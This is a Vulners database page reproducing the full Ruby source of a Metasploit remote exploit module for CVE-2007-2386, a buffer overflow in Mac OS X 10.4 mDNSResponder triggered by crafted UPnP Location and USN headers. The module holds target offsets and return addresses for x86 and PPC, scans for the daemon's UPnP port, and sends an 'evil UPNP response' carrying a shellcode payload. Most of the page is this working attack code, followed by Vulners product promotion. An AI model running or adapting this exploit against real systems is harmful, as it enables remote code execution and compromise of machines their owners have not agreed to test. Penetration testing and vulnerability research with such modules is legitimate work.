Lucene search
K

Mac OS X mDNSResponder UPnP Location Overflow

🗓️ 18 Mar 2009 23:28:24Reported by ddz <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 30 Views

Mac OS X mDNSResponder UPnP Location Overflo

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Udp

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Mac OS X mDNSResponder UPnP Location Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow that occurs when processing
        specially crafted requests set to mDNSResponder. All Mac OS X systems
        between version 10.4 and 10.4.9 (without the 2007-005 patch) are
        affected.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'ddz'
        ],
      'References'     =>
        [
          [ 'OSVDB', '35142' ],
          [ 'CVE', '2007-2386' ],
          [ 'BID', '24144' ],
          [ 'URL', 'http://support.apple.com/kb/TA24732' ]
        ],
      'DefaultOptions' =>
        {
          'SRVPORT' => 1900,
          'RPORT' => 0
        },
      'Payload' =>
        {
          'BadChars' => "\x00\x3a\x2f",
          'StackAdjustment' => 0,
          'Space' => 468
        },
      'Platform' => 'osx',
      'Targets' =>
        [
          [ '10.4.8 x86',
            { # mDNSResponder-108.2
              'Arch'                   => ARCH_X86,
              # Offset to mDNSStorage structure
              'Offset'                 => 21000,
              'Magic'                  => 0x8fe510a0,
              'g_szRouterHostPortDesc' => 0x53dc0,
            }
          ],
          [ '10.4.0 PPC',
            { # mDNSResponder-107
              'Arch'    => ARCH_PPC,
              'Offset'  => 21000,
              'Magic'   => 0x8fe51f4c,
              'Ret'     => 0x8fe41af8,
            }
          ]
        ],
      'DisclosureDate' => '2007-05-25',
      'DefaultTarget' => 1))

    register_options(
      [
        Opt::LHOST(),
        OptPort.new('SRVPORT', [ true, "The UPNP server port to listen on", 1900 ])
      ])

    @mutex = Mutex.new()
    @found_upnp_port = false
    @key_to_port = Hash.new()
    @upnp_port = 0
    @client_socket = nil
  end

  def check
    #
    # TODO: Listen on two service ports, one a single character
    # shorter than the other (i.e 1900 and 19000).  If the copy was
    # truncated by strlcpy, it will connect to the service listening
    # on the shorter port number.
    #
    upnp_port = scan_for_upnp_port()
    if (upnp_port > 0)
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Unsupported
    end
  end

  def upnp_server(server)
    client = server.accept()
    request = client.readline()
    if (request =~ /GET \/([\da-f]+).xml/)
      @mutex.synchronize {
        @found_upnp_port = true
        @upnp_port = @key_to_port[$1]

        # Important: Keep the client connection open
        @client_socket = client
      }
    end
  end

  def scan_for_upnp_port
    @upnp_port = 0
    @found_upnp_port = false

    upnp_port = 0

    # XXX: Do this in a more Metasploit-y way
    server = TCPServer.open(1900)
    server_thread = framework.threads.spawn("Module(#{self.refname})-Listener", false) { self.upnp_server(server) }

    begin
      socket = Rex::Socket.create_udp

      upnp_location = "http://" + datastore['LHOST'] + ":" + datastore['SRVPORT'].to_s

      print_status("Listening for UPNP requests on: #{upnp_location}")
      print_status("Sending UPNP Discovery replies...")

      i = 49152;
      while i < 65536 && @mutex.synchronize {
        @found_upnp_port == false
      }
      key = sprintf("%.2x%.2x%.2x%.2x%.2x",
        rand(255), rand(255), rand(255), rand(255), rand(255))

      @mutex.synchronize {
        @key_to_port[key] = i
      }

      upnp_reply = "HTTP/1.1 200 Ok\r\n" +
        "ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n" +
        "USN: uuid:7076436f-6e65-1063-8074-0017311c11d4\r\n" +
        "Location: #{upnp_location}/#{key}.xml\r\n\r\n"

      socket.sendto(upnp_reply, datastore['RHOST'], i)

      i += 1
    end

    @mutex.synchronize {
      if (@found_upnp_port)
        upnp_port = @upnp_port
      end
    }
    ensure
      server.close
      server_thread.join
    end

    return upnp_port
  end

  def exploit
    #
    # It is very important that we scan for the upnp port.  We must
    # receive the TCP connection and hold it open, otherwise the
    # code path that uses the overwritten function pointer most
    # likely won't be used.  Holding this connection increases the
    # chance that the code path will be used dramatically.
    #
    upnp_port = scan_for_upnp_port()

    if upnp_port == 0
      fail_with(Failure::Unreachable, "Could not find listening UPNP UDP socket")
    end

    datastore['RPORT'] = upnp_port

    socket = connect_udp()

    if (target['Arch'] == ARCH_X86)
      space = "A" * target['Offset']
      space[0, payload.encoded.length] = payload.encoded

      pattern = Rex::Text.pattern_create(47)
      pattern[20, 4] = [target['Magic']].pack('V')
      pattern[44, 3] = [target['g_szRouterHostPortDesc']].pack('V')[0..2]

      boom = space + pattern
      usn = ""

    elsif (target['Arch'] == ARCH_PPC)
      space = "A" * target['Offset']

      pattern = Rex::Text.pattern_create(48)
      pattern[20, 4] = [target['Magic']].pack('N')

      #
      # r26, r27, r30, r31 point to g_szUSN+556
      # Ret should be a branch to one of these registers
      # And we make sure to put our payload in the USN header
      #
      pattern[44, 4] = [target['Ret']].pack('N')

      boom = space + pattern

      #
      # Start payload at offset 556 within USN
      #
      usn = "A" * 556 + payload.encoded
    end

    upnp_reply = "HTTP/1.1 200 Ok\r\n" +
      "ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n" +
      "USN: #{usn}\r\n" +
      "Location: http://#{boom}\r\n\r\n"

    print_status("Sending evil UPNP response")
    socket.put(upnp_reply)

    print_status("Sleeping to give mDNSDaemonIdle() a chance to run")
    select(nil,nil,nil,10)

    handler()
    disconnect_udp()
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation